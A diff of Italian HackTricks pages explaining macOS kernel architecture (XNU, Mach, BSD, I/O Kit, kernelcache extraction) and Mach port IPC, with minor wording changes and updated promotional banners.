{% endhint %}

View file

@ -1,24 +1,25 @@
# macOS Kernel & System Extensions # Architettura del macOS Kernel & delle Estensioni di Sistema
{% hint style="success" %}
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Kernel XNU ## Kernel XNU
Il **cuore di macOS è XNU**, che sta per "X is Not Unix". Questo kernel è fondamentalmente composto dal **microkernel Mach** (di cui si parlerà in seguito), **e** elementi della Berkeley Software Distribution (**BSD**). XNU fornisce anche una piattaforma per **driver di kernel tramite un sistema chiamato I/O Kit**. Il kernel XNU fa parte del progetto open source Darwin, il che significa che **il suo codice sorgente è liberamente accessibile**. Il **cuore di macOS è XNU**, che sta per "X is Not Unix". Questo kernel è fondamentalmente composto dal **microkernel Mach** (di cui si parlerà in seguito), **e** elementi della Berkeley Software Distribution (**BSD**). XNU fornisce anche una piattaforma per **driver di kernel tramite un sistema chiamato I/O Kit**. Il kernel XNU fa parte del progetto open source Darwin, il che significa che **il suo codice sorgente è liberamente accessibile**.
Dal punto di vista di un ricercatore di sicurezza o di uno sviluppatore Unix, **macOS** può sembrare abbastanza **simile** a un sistema **FreeBSD** con un'interfaccia grafica elegante e una serie di applicazioni personalizzate. La maggior parte delle applicazioni sviluppate per BSD si compilerà ed eseguirà su macOS senza necessità di modifiche, poiché gli strumenti a riga di comando familiari agli utenti Unix sono tutti presenti in macOS. Tuttavia, poiché il kernel XNU incorpora Mach, ci sono alcune differenze significative tra un sistema simile a Unix tradizionale e macOS, e queste differenze potrebbero causare potenziali problemi o fornire vantaggi unici. Dal punto di vista di un ricercatore di sicurezza o di uno sviluppatore Unix, **macOS** può sembrare piuttosto **simile** a un sistema **FreeBSD** con un'interfaccia grafica elegante e una serie di applicazioni personalizzate. La maggior parte delle applicazioni sviluppate per BSD si compilerà ed eseguirà su macOS senza necessità di modifiche, poiché gli strumenti a riga di comando familiari agli utenti Unix sono tutti presenti in macOS. Tuttavia, poiché il kernel XNU incorpora Mach, ci sono alcune differenze significative tra un sistema simile a Unix tradizionale e macOS, e queste differenze potrebbero causare potenziali problemi o fornire vantaggi unici.
Versione open source di XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) Versione open source di XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
@ -30,7 +31,7 @@ In XNU, Mach è **responsabile di molte delle operazioni critiche a basso livell
### BSD ### BSD
Il kernel XNU **incorpora anche** una quantità significativa di codice derivato dal progetto **FreeBSD**. Questo codice **viene eseguito come parte del kernel insieme a Mach**, nello stesso spazio degli indirizzi. Tuttavia, il codice FreeBSD all'interno di XNU potrebbe differire sostanzialmente dal codice FreeBSD originale perché sono state apportate modifiche per garantire la sua compatibilità con Mach. FreeBSD contribuisce a molte operazioni del kernel, tra cui: Il **kernel** XNU **incorpora anche** una quantità significativa di codice derivato dal progetto **FreeBSD**. Questo codice **viene eseguito come parte del kernel insieme a Mach**, nello stesso spazio degli indirizzi. Tuttavia, il codice FreeBSD all'interno di XNU potrebbe differire sostanzialmente dal codice FreeBSD originale perché sono state apportate modifiche per garantire la sua compatibilità con Mach. FreeBSD contribuisce a molte operazioni del kernel, tra cui:
* Gestione dei processi * Gestione dei processi
* Gestione dei segnali * Gestione dei segnali
@ -39,13 +40,13 @@ Il kernel XNU **incorpora anche** una quantità significativa di codice derivato
* Stack TCP/IP e socket * Stack TCP/IP e socket
* Firewall e filtraggio dei pacchetti * Firewall e filtraggio dei pacchetti
Comprendere l'interazione tra BSD e Mach può essere complesso, a causa dei loro diversi quadri concettuali. Ad esempio, BSD utilizza i processi come sua unità di esecuzione fondamentale, mentre Mach opera in base ai thread. Questa discrepanza è conciliata in XNU **associando ogni processo BSD con un'attività Mach** che contiene esattamente un thread Mach. Quando viene utilizzata la chiamata di sistema fork() di BSD, il codice BSD all'interno del kernel utilizza le funzioni Mach per creare una struttura di attività e un thread. Comprendere l'interazione tra BSD e Mach può essere complesso, a causa dei loro diversi quadri concettuali. Ad esempio, BSD utilizza i processi come sua unità di esecuzione fondamentale, mentre Mach opera in base ai thread. Questa discrepanza viene conciliata in XNU **associando ogni processo BSD con un'attività Mach** che contiene esattamente un thread Mach. Quando viene utilizzata la chiamata di sistema fork() di BSD, il codice BSD all'interno del kernel utilizza le funzioni Mach per creare una struttura di attività e di thread.
Inoltre, **Mach e BSD mantengono modelli di sicurezza diversi**: il modello di sicurezza di **Mach** si basa sui **diritti di porta**, mentre il modello di sicurezza di BSD opera in base alla **proprietà del processo**. Le disparità tra questi due modelli hanno occasionalmente portato a vulnerabilità di escalation dei privilegi locali. Oltre alle tipiche chiamate di sistema, ci sono anche **trappole Mach che consentono ai programmi dello spazio utente di interagire con il kernel**. Questi diversi elementi insieme formano l'architettura ibrida e sfaccettata del kernel macOS. Inoltre, **Mach e BSD mantengono modelli di sicurezza diversi**: il modello di sicurezza di **Mach** si basa sui **diritti di porta**, mentre il modello di sicurezza di BSD opera in base alla **proprietà del processo**. Le disparità tra questi due modelli hanno occasionalmente causato vulnerabilità di escalation dei privilegi locali. Oltre alle tipiche chiamate di sistema, ci sono anche **trappole Mach che consentono ai programmi dello spazio utente di interagire con il kernel**. Questi diversi elementi insieme formano l'architettura ibrida e sfaccettata del kernel macOS.
### I/O Kit - Driver ### I/O Kit - Driver
L'I/O Kit è un framework di **driver di dispositivo orientato agli oggetti** open source nel kernel XNU, gestisce **driver di dispositivo caricati dinamicamente**. Consente di aggiungere codice modulare al kernel al volo, supportando hardware diversificato. L'I/O Kit è un framework **driver di dispositivo orientato agli oggetti** open source nel kernel XNU, gestisce **driver di dispositivo caricati dinamicamente**. Consente di aggiungere codice modulare al kernel al volo, supportando hardware diversificato.
{% content-ref url="macos-iokit.md" %} {% content-ref url="macos-iokit.md" %}
[macos-iokit.md](macos-iokit.md) [macos-iokit.md](macos-iokit.md)
@ -59,9 +60,9 @@ L'I/O Kit è un framework di **driver di dispositivo orientato agli oggetti** op
### Kernelcache ### Kernelcache
Il **kernelcache** è una **versione pre-compilata e pre-linkata del kernel XNU**, insieme a driver di dispositivo essenziali ed estensioni di kernel. È memorizzato in un formato **compresso** e viene decompresso in memoria durante il processo di avvio. Il kernelcache facilita un **tempo di avvio più veloce** avendo una versione pronta all'uso del kernel e driver cruciali disponibili, riducendo il tempo e le risorse che altrimenti sarebbero impiegate nel caricare dinamicamente e collegare questi componenti al momento dell'avvio. Il **kernelcache** è una versione **pre-compilata e pre-linkata del kernel XNU**, insieme a driver di dispositivo essenziali ed estensioni di kernel. È memorizzato in un formato **compresso** e viene decompresso in memoria durante il processo di avvio. Il kernelcache facilita un **avvio più veloce** avendo disponibile una versione pronta all'uso del kernel e dei driver cruciali, riducendo il tempo e le risorse che altrimenti sarebbero impiegate nel caricare dinamicamente e collegare questi componenti al momento dell'avvio.
In iOS si trova in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS puoi trovarlo con **`trova / -name kernelcache 2>/dev/null`** o **`mdfind kernelcache | grep kernelcache`** In iOS si trova in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS puoi trovarlo con **`find / -name kernelcache 2>/dev/null`** o **`mdfind kernelcache | grep kernelcache`**
È possibile eseguire **`kextstat`** per controllare le estensioni di kernel caricate. È possibile eseguire **`kextstat`** per controllare le estensioni di kernel caricate.
@ -72,9 +73,9 @@ Il formato file IMG4 è un formato di contenitore utilizzato da Apple nei suoi d
Solitamente è composto dai seguenti componenti: Solitamente è composto dai seguenti componenti:
* **Payload (IM4P)**: * **Payload (IM4P)**:
* Spesso compresso (LZFSE4, LZSS, ) * Spesso compresso (LZFSE4, LZSS, ...)
* Opzionalmente crittografato * Opzionalmente criptato
* **Manifest (IM4M)**: * **Manifesto (IM4M)**:
* Contiene Firma * Contiene Firma
* Dizionario Chiave/Valore aggiuntivo * Dizionario Chiave/Valore aggiuntivo
* **Informazioni di Ripristino (IM4R)**: * **Informazioni di Ripristino (IM4R)**:
@ -83,7 +84,6 @@ Solitamente è composto dai seguenti componenti:
* FACOLTATIVO: Di solito non viene trovato * FACOLTATIVO: Di solito non viene trovato
Decomprimere il Kernelcache: Decomprimere il Kernelcache:
```bash ```bash
# pyimg4 (https://github.com/m1stadev/PyIMG4) # pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
@ -91,14 +91,13 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
# img4tool (https://github.com/tihmstar/img4tool # img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
``` ```
#### Simboli del Kernelcache #### Simboli del Kernelcache
A volte Apple rilascia il **kernelcache** con i **simboli**. Puoi scaricare alcuni firmware con i simboli seguendo i link su [https://theapplewiki.com](https://theapplewiki.com/). A volte Apple rilascia il **kernelcache** con i **simboli**. Puoi scaricare alcuni firmware con i simboli seguendo i link su [https://theapplewiki.com](https://theapplewiki.com/).
### IPSW ### IPSW
Questi sono **firmware** di Apple che puoi scaricare da [**https://ipsw.me/**](https://ipsw.me/). Tra gli altri file conterrà il **kernelcache**.\ Questi sono **firmware** Apple che puoi scaricare da [**https://ipsw.me/**](https://ipsw.me/). Tra gli altri file conterrà il **kernelcache**.\
Per **estrarre** i file puoi semplicemente **scompattarlo**. Per **estrarre** i file puoi semplicemente **scompattarlo**.
Dopo aver estratto il firmware otterrai un file come: **`kernelcache.release.iphone14`**. È in formato **IMG4**, puoi estrarre le informazioni interessanti con: Dopo aver estratto il firmware otterrai un file come: **`kernelcache.release.iphone14`**. È in formato **IMG4**, puoi estrarre le informazioni interessanti con:
@ -112,15 +111,12 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
{% endcode %} {% endcode %}
* [**img4tool**](https://github.com/tihmstar/img4tool) * [**img4tool**](https://github.com/tihmstar/img4tool)
```bash ```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
``` ```
Puoi controllare i simboli estratti dal kernelcache con: **`nm -a kernelcache.release.iphone14.e | wc -l`** Puoi controllare i simboli estratti dal kernelcache con: **`nm -a kernelcache.release.iphone14.e | wc -l`**
Con questo possiamo ora **estraire tutte le estensioni** o quella di cui sei interessato: Con questo possiamo ora **estraire tutte le estensioni** o quella **che ti interessa:**
```bash ```bash
# List all extensions # List all extensions
kextex -l kernelcache.release.iphone14.e kextex -l kernelcache.release.iphone14.e
@ -133,7 +129,6 @@ kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols # Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l nm -a binaries/com.apple.security.sandbox | wc -l
``` ```
## Estensioni del kernel di macOS ## Estensioni del kernel di macOS
macOS è **estremamente restrittivo nel caricare le estensioni del kernel** (.kext) a causa dei privilegi elevati con cui il codice verrà eseguito. Attualmente, per impostazione predefinita è praticamente impossibile (a meno che non venga trovato un bypass). macOS è **estremamente restrittivo nel caricare le estensioni del kernel** (.kext) a causa dei privilegi elevati con cui il codice verrà eseguito. Attualmente, per impostazione predefinita è praticamente impossibile (a meno che non venga trovato un bypass).
@ -155,16 +150,17 @@ Invece di utilizzare le Estensioni del Kernel, macOS ha creato le Estensioni di
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=) * [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di GitHub.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# macOS IPC - Comunicazione tra Processi # macOS IPC - Comunicazione tra Processi
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Messaggistica Mach tramite Porte ## Messaggistica Mach tramite Porte
### Informazioni di Base ### Informazioni di Base
Mach utilizza **task** come **unità più piccola** per la condivisione di risorse, e ogni task può contenere **più thread**. Questi **task e thread sono mappati 1:1 su processi e thread POSIX**. Mach utilizza **task** come **unità più piccola** per la condivisione di risorse, e ogni task può contenere **più thread**. Questi **task e thread sono mappati 1:1 ai processi e thread POSIX**.
La comunicazione tra i task avviene tramite la Comunicazione tra Processi Mach (IPC), utilizzando canali di comunicazione unidirezionali. **I messaggi vengono trasferiti tra le porte**, che agiscono come **code di messaggi** gestite dal kernel. La comunicazione tra i task avviene tramite la Comunicazione tra Processi Mach (IPC), utilizzando canali di comunicazione unidirezionali. **I messaggi vengono trasferiti tra le porte**, che agiscono come **code di messaggi** gestite dal kernel.
@ -30,15 +31,15 @@ Un processo può anche inviare un nome di porta con alcuni diritti **a un task d
I diritti delle porte, che definiscono le operazioni che un task può eseguire, sono fondamentali per questa comunicazione. I possibili **diritti delle porte** sono ([definizioni da qui](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): I diritti delle porte, che definiscono le operazioni che un task può eseguire, sono fondamentali per questa comunicazione. I possibili **diritti delle porte** sono ([definizioni da qui](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
* **Diritto di Ricezione**, che consente di ricevere messaggi inviati alla porta. Le porte Mach sono code MPSC (multiple-producer, single-consumer), il che significa che può esserci solo **un diritto di ricezione per ogni porta** in tutto il sistema (a differenza delle pipe, dove più processi possono tutti detenere descrittori di file per l'estremità di lettura di una pipe). * **Diritto di Ricezione**, che consente di ricevere messaggi inviati alla porta. Le porte Mach sono code MPSC (multiple-producer, single-consumer), il che significa che può esserci **solo un diritto di ricezione per ogni porta** in tutto il sistema (a differenza delle pipe, dove più processi possono tutti detenere descrittori di file per l'estremità di lettura di una pipe).
* Un **task con il Diritto di Ricezione** può ricevere messaggi e **creare Diritti di Invio**, consentendogli di inviare messaggi. Originariamente solo il **proprio task ha il Diritto di Ricezione sulla sua porta**. * Un **task con il diritto di Ricezione** può ricevere messaggi e **creare diritti di Invio**, consentendogli di inviare messaggi. Originariamente solo il **proprio task ha il diritto di Ricezione sulla sua porta**.
* **Diritto di Invio**, che consente di inviare messaggi alla porta. * **Diritto di Invio**, che consente di inviare messaggi alla porta.
* Il Diritto di Invio può essere **clonato** in modo che un task che possiede un Diritto di Invio possa clonare il diritto e **concederlo a un terzo task**. * Il diritto di Invio può essere **clonato** in modo che un task che possiede un diritto di Invio possa clonare il diritto e **concederlo a un terzo task**.
* **Diritto di Invio una volta sola**, che consente di inviare un messaggio alla porta e poi scompare. * **Diritto di Invio una volta sola**, che consente di inviare un messaggio alla porta e poi scompare.
* **Diritto di insieme di porte**, che indica un _insieme di porte_ anziché una singola porta. Estrarre un messaggio da un insieme di porte estrae un messaggio da una delle porte che contiene. Gli insiemi di porte possono essere utilizzati per ascoltare su più porte contemporaneamente, molto simile a `select`/`poll`/`epoll`/`kqueue` in Unix. * **Diritto di insieme di porte**, che indica un _insieme di porte_ anziché una singola porta. Estrarre un messaggio da un insieme di porte estrae un messaggio da una delle porte che contiene. Gli insiemi di porte possono essere utilizzati per ascoltare su più porte contemporaneamente, molto simile a `select`/`poll`/`epoll`/`kqueue` in Unix.
* **Nome morto**, che non è un vero e proprio diritto di porta, ma solo un segnaposto. Quando una porta viene distrutta, tutti i diritti di porta esistenti per la porta diventano nomi morti. * **Nome morto**, che non è un vero e proprio diritto di porta, ma solo un segnaposto. Quando una porta viene distrutta, tutti i diritti di porta esistenti per la porta diventano nomi morti.
**I task possono trasferire DIRITTI DI INVIO ad altri**, consentendo loro di inviare messaggi indietro. **I DIRITTI DI INVIO possono anche essere clonati, quindi un task può duplicare e dare il diritto a un terzo task**. Questo, combinato con un processo intermedio noto come il **bootstrap server**, consente una comunicazione efficace tra i task. **I task possono trasferire i diritti di INVIO ad altri**, consentendo loro di inviare messaggi indietro. **I diritti di INVIO possono anche essere clonati, quindi un task può duplicare e dare il diritto a un terzo task**. Questo, combinato con un processo intermedio noto come il **bootstrap server**, consente una comunicazione efficace tra i task.
### Porte File ### Porte File
@ -50,32 +51,32 @@ Le porte file consentono di incapsulare i descrittori di file in porte Mac (util
Come già menzionato, per stabilire il canale di comunicazione è coinvolto il **bootstrap server** (**launchd** in mac). Come già menzionato, per stabilire il canale di comunicazione è coinvolto il **bootstrap server** (**launchd** in mac).
1. Il Task **A** inizia una **nuova porta**, ottenendo un **DIRITTO DI RICEZIONE** nel processo. 1. Il Task **A** inizia una **nuova porta**, ottenendo un **diritto di RICEZIONE** nel processo.
2. Il Task **A**, essendo il detentore del DIRITTO DI RICEZIONE, **genera un DIRITTO DI INVIO per la porta**. 2. Il Task **A**, essendo il detentore del diritto di RICEZIONE, **genera un diritto di INVIO per la porta**.
3. Il Task **A** stabilisce una **connessione** con il **bootstrap server**, fornendo il **nome del servizio della porta** e il **DIRITTO DI INVIO** attraverso una procedura nota come registrazione bootstrap. 3. Il Task **A** stabilisce una **connessione** con il **bootstrap server**, fornendo il **nome del servizio della porta** e il **diritto di INVIO** attraverso una procedura nota come registrazione del bootstrap.
4. Il Task **B** interagisce con il **bootstrap server** per eseguire una **ricerca bootstrap per il nome del servizio**. Se riuscito, il **server duplica il DIRITTO DI INVIO** ricevuto dal Task A e **lo trasmette al Task B**. 4. Il Task **B** interagisce con il **bootstrap server** per eseguire una **ricerca bootstrap per il nome del servizio**. Se riuscito, il **server duplica il diritto di INVIO** ricevuto dal Task A e **lo trasmette al Task B**.
5. Una volta acquisito un DIRITTO DI INVIO, il Task **B** è in grado di **formulare** un **messaggio** e inviarlo **al Task A**. 5. Una volta acquisito un diritto di INVIO, il Task **B** è in grado di **formulare** un **messaggio** e inviarlo **al Task A**.
6. Per una comunicazione bidirezionale di solito il task **B** genera una nuova porta con un **DIRITTO DI RICEZIONE** e un **DIRITTO DI INVIO**, e dà il **DIRITTO DI INVIO al Task A** in modo che possa inviare messaggi al TASK B (comunicazione bidirezionale). 6. Per una comunicazione bidirezionale di solito il Task **B** genera una nuova porta con un **diritto di RICEZIONE** e un **diritto di INVIO**, e dà il **diritto di INVIO al Task A** in modo che possa inviare messaggi al TASK B (comunicazione bidirezionale).
Il bootstrap server **non può autenticare** il nome del servizio reclamato da un task. Ciò significa che un **task** potrebbe potenzialmente **fingere di essere qualsiasi task di sistema**, come ad esempio **rivendicare falsamente un nome di servizio di autorizzazione** e quindi approvare ogni richiesta. Il bootstrap server **non può autenticare** il nome del servizio reclamato da un task. Ciò significa che un **task** potrebbe potenzialmente **fingersi qualsiasi task di sistema**, come ad esempio **rivendicare falsamente un nome di servizio di autorizzazione** e quindi approvare ogni richiesta.
Successivamente, Apple memorizza i **nomi dei servizi forniti dal sistema** in file di configurazione sicuri, situati in directory protette da SIP: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Accanto a ciascun nome di servizio, è anche memorizzato il **binario associato**. Il bootstrap server, creerà e conserverà un **DIRITTO DI RICEZIONE per ciascuno di questi nomi di servizio**. Successivamente, Apple memorizza i **nomi dei servizi forniti dal sistema** in file di configurazione sicuri, situati in directory protette da SIP: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Accanto a ciascun nome di servizio, è anche memorizzato il **binario associato**. Il bootstrap server, creerà e conserverà un **diritto di RICEZIONE per ciascuno di questi nomi di servizio**.
Per questi servizi predefiniti, il **processo di ricerca è leggermente diverso**. Quando viene cercato un nome di servizio, launchd avvia il servizio dinamicamente. Il nuovo flusso di lavoro è il seguente: Per questi servizi predefiniti, il **processo di ricerca è leggermente diverso**. Quando viene cercato un nome di servizio, launchd avvia il servizio dinamicamente. Il nuovo flusso di lavoro è il seguente:
* Il Task **B** inizia una **ricerca bootstrap** per un nome di servizio. * Il Task **B** inizia una **ricerca bootstrap** per un nome di servizio.
* **launchd** controlla se il task è in esecuzione e se non lo è, **lo avvia**. * **launchd** controlla se il task è in esecuzione e se non lo è, **lo avvia**.
* Il Task **A** (il servizio) esegue un **check-in bootstrap**. Qui, il **bootstrap** server crea un DIRITTO DI INVIO, lo mantiene e **trasferisce il DIRITTO DI RICEZIONE al Task A**. * Il Task **A** (il servizio) esegue un **check-in del bootstrap**. Qui, il **bootstrap** server crea un diritto di INVIO, lo mantiene e **trasferisce il diritto di RICEZIONE al Task A**.
* launchd duplica il **DIRITTO DI INVIO e lo invia al Task B**. * launchd duplica il **diritto di INVIO e lo invia al Task B**.
* Il Task **B** genera una nuova porta con un **DIRITTO DI RICEZIONE** e un **DIRITTO DI INVIO**, e dà il **DIRITTO DI INVIO al Task A** (il svc) in modo che possa inviare messaggi al TASK B (comunicazione bidirezionale). * Il Task **B** genera una nuova porta con un **diritto di RICEZIONE** e un **diritto di INVIO**, e dà il **diritto di INVIO al Task A** (il svc) in modo che possa inviare messaggi al TASK B (comunicazione bidirezionale).
Tuttavia, questo processo si applica solo ai task di sistema predefiniti. I task non di sistema continuano a operare come descritto originariamente, il che potrebbe potenzialmente consentire l'usurpazione. Tuttavia, questo processo si applica solo ai task di sistema predefiniti. I task non di sistema continuano a operare come descritto originariamente, il che potrebbe potenzialmente consentire l'usurpazione.
### Un Messaggio Mach ### Un Messaggio Mach
[Ulteriori informazioni qui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) [Trova ulteriori informazioni qui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
La funzione `mach_msg`, essenzialmente una chiamata di sistema, è utilizzata per inviare e ricevere messaggi Mach. La funzione richiede che il messaggio venga inviato come argomento iniziale. Questo messaggio deve iniziare con una struttura `mach_msg_header_t`, seguita dal contenuto effettivo del messaggio. La struttura è definita come segue: La funzione `mach_msg`, essenzialmente una chiamata di sistema, viene utilizzata per inviare e ricevere messaggi Mach. La funzione richiede che il messaggio venga inviato come argomento iniziale. Questo messaggio deve iniziare con una struttura `mach_msg_header_t`, seguita dal contenuto effettivo del messaggio. La struttura è definita come segue:
```c ```c
typedef struct { typedef struct {
mach_msg_bits_t msgh_bits; mach_msg_bits_t msgh_bits;
@ -86,9 +87,9 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id; mach_msg_id_t msgh_id;
} mach_msg_header_t; } mach_msg_header_t;
``` ```
I processi che possiedono un _**diritto di ricezione**_ possono ricevere messaggi su una porta Mach. Al contrario, i **mittenti** ottengono un _**diritto di invio**_ o un _**diritto di invio una volta sola**_. Il diritto di invio una volta sola è esclusivamente per l'invio di un singolo messaggio, dopodiché diventa non valido. I processi che possiedono un _**diritto di ricezione**_ possono ricevere messaggi su una porta Mach. Al contrario, i **mittenti** ottengono un _**diritto di invio**_ o un _**diritto di invio una sola volta**_. Il diritto di invio una sola volta è esclusivamente per l'invio di un singolo messaggio, dopodiché diventa non valido.
